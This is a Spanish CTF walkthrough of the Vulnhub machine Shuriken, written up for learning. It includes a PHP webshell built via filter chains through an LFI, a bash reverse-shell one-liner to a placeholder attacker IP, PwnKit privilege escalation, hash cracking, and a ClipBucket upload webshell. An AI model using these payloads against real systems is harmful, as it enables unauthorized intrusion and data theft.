Post

Shuriken | CTF Writeup - Vulnhub

Shuriken

Primera opción

Empezamos enumerando nuestra red local para encontrar hosts activos. En este caso, usaremos la herramienta netdiscover.

1
2
3
4
5
6
7
8
9
10
11
> netdiscover -r 192.168.216.0/24 -P > discover.txt
> cat !$
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.216.1   00:50:56:c0:00:08      1      60  VMware, Inc.
 192.168.216.2   00:50:56:e2:11:a1      1      60  VMware, Inc.
 192.168.216.151 00:0c:29:67:7c:e5      1      60  VMware, Inc.
 192.168.216.254 00:50:56:f9:2e:59      1      60  VMware, Inc.

-- Active scan completed, 4 Hosts found.

Ahora que encontramos nuestra máquina víctima, podemos referenciarla con una variable de entorno (opcional). En mi caso, la exporte a la variable IP con el siguiente comando: export IP=192.168.216.151.

Aplicamos un escaneo con nmap:

1
2
3
4
5
6
7
8
9
10
# Nmap 7.94 scan initiated Thu Feb 22 18:18:24 2024 as: nmap -sS -T5 -p- --open --min-rate 5000 -n -Pn -oN scan.txt 192.168.216.151
Nmap scan report for 192.168.216.151
Host is up (0.18s latency).
Not shown: 52582 filtered tcp ports (no-response), 12952 closed tcp ports (reset)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE
80/tcp open  http
MAC Address: 00:0C:29:67:7C:E5 (VMware)

# Nmap done at Thu Feb 22 18:20:21 2024 -- 1 IP address (1 host up) scanned in 116.96 seconds

Escaneamos la versión del servicio que corre por el puerto 80.

1
2
3
4
5
6
7
8
9
10
11
12
# Nmap 7.94 scan initiated Thu Feb 22 18:24:18 2024 as: nmap -sCV -p80 -oN version.txt 192.168.216.151
Nmap scan report for 192.168.216.151
Host is up (0.00076s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Shuriken
|_http-server-header: Apache/2.4.29 (Ubuntu)
MAC Address: 00:0C:29:67:7C:E5 (VMware)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Feb 22 18:24:25 2024 -- 1 IP address (1 host up) scanned in 6.73 seconds

Aplicamos el script http-enum de la herramienta nmap.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# Nmap 7.94 scan initiated Thu Feb 22 18:24:56 2024 as: nmap --script http-enum -p80 -oN http-enum.txt 192.168.216.151
Nmap scan report for 192.168.216.151
Host is up (0.0025s latency).

PORT   STATE SERVICE
80/tcp open  http
| http-enum: 
|   /login.html: Possible admin folder
|   /css/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
|   /img/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
|   /js/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
|_  /secret/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'

# Nmap done at Thu Feb 22 18:24:56 2024 -- 1 IP address (1 host up) scanned in 0.45 seconds

Vamos a la web:

[Captura de pantalla (380).png]

Si inspeccionamos el código fuente:

[Captura de pantalla (379).png]

Hay dos archivos JavaScript. Están minificados u ofuscados. Para poder leerlos mejor, los pasamos por un beautifier.

[Captura de pantalla (381).png]

Vemos que se está aplicando Virtual Hosting. Para que nos resuelva ese dominio por DNS, modificamos el archivo /etc/hosts.

[Captura de pantalla (382).png]

Nos dirigimos al subdominio, pero necesita credenciales válidas.

[Captura de pantalla (390).png]

En el otro archivo JavaScript, podemos ver que se utiliza la siguiente URL dentro de las funciones:

[Captura de pantalla (383).png]

Este parámetro dentro de la URL llama ciertamente la atención. Podemos intentar un LFI.

[Captura de pantalla (384).png]

Efectivamente, se acontece una vulnerabilidad de tipo Local File Inclusion (LFI). Se me vino a la cabeza un posible vector de ataque para ganar Initial Access. Esto es abusando de los wrappers de PHP utilizando el siguiente script: https://github.com/synacktiv/php_filter_chain_generator. La explicación del exploit se encuentra en HackTricks, pero básicamente se genera contenido arbitrario a partir de los filtros aplicados y de la codificación/decodificación de caracteres en base64. La herramienta la usaremos para crear una webshell de la siguiente manera.

1
> python3.9 php_filter_chain_generator.py --chain '<?php system($_GET["cmd"]) ?>'

Lo que nos devuelva esto, será toda la cadena de filtros utilizados para generar el string <?php system($_GET['cmd']); ?>. Esta cadena la pegamos en la URL y le concatenamos a la misma el parámetro CMD para ejecutar comandos. La url quedaría de la forma http://shuriken.local/index.php?referer=<Acá va la cadena>&cmd=whoami.

[Captura de pantalla (385).png]

Vemos que se está ejecutando y nos devuelve www-data. Intentemos concatenar nuestro comando para ganar una [[Reverse Shell]]. En este caso, será bash -c 'bash -i >&/dev/tcp/tuIp/tuPuerto 0>&1'. Mientras, nosotros nos pondremos en escucha de conexiones TCP con nc en el puerto especificado, usando el comando nc -nlvp tuPuerto.

[Captura de pantalla (388).png]

Aprovechamos para hacer un tratamiento de la TTY y tener una consola interactiva.

Si enumeramos, el archivo /usr/bin/pkexec es SUID y la versión del mismo es vulnerable al CVE-2021-4034. Podríamos intentar explotarlo y ganar acceso directo a root con este script que explota la vulnerabilidad PwnKit. La vulnerabilidad se da a partir del manejo de argumentos pasados al programa pkexec y cómo puede llevar a una reescritura de variables de entorno. Para más información, acá está el artículo de los investigadores.

[Captura de pantalla (397).png]

[Pasted image 20240308173157.png]

Segunda opción

Sin embargo, hay otro camino para entrar en la máquina. Si hubiésemos aprovechado el LFI para leer las credenciales del subdominio broadcast.shuriken.local, había otra forma de ejecutar comandos en la máquina víctima. Buscamos (ya adentro de la máquina) por archivos que contengan la palabra broadcast y encontramos lo siguiente.

[Pasted image 20240308172810.png]

En el archivo sites-available/000-default.conf, tendremos la configuración para este subdominio, y probablemente las credenciales.

[Pasted image 20240308172916.png]

Si vemos el archivo de autorización:

[Pasted image 20240308173044.png]

Todo esto lo hubiésemos podido leer con el LFI previamente explotado, sin necesidad de tener acceso a la máquina. Es un hash. Podemos intentar crackearlo con john.

[Pasted image 20240308173126.png]

Podemos entrar a broadcast.shuriken.local con las credenciales developers:9972761drmfsls.

[Pasted image 20240308173301.png]

Nos figura que es la versión 4.0 de ClipBucket. Busquemos vulnerabilidades con searchsploit.

[Pasted image 20240308173403.png]

Básicamente, podemos subir el archivo que nosotros queramos. En mi caso, subí una webshell.

[Pasted image 20240308173810.png]

[Pasted image 20240308173837.png]

Respuesta del servidor:

[Pasted image 20240308181041.png]

Tenemos el nombre del archivo. Ahora solo debemos averiguar dónde se subió. Fuzzeamos en el subdominio http://broadcast.shuriken.local/ para encontrar carpetas que contengan archivos.

[Pasted image 20240308181158.png]

Si accedemos a la web:

[Pasted image 20240308181227.png]

En teoría, es una foto. Podemos ver en los directorios y efectivamente, encontraremos nuestro archivo.

[Pasted image 20240308181326.png]

Nuevamente, ejecutamos comandos en la máquina víctima.

[Pasted image 20240308181359.png]

Y podemos entablarnos nuestra [[Reverse Shell]] igual que la anterior vez. Para escalar privilegios, se puede utilizar la misma técnica.

Fue una máquina muy divertida! :) Aprendí mucho, sobretodo en la parte de explotación del PolKit.

This post is licensed under CC BY 4.0 by the author.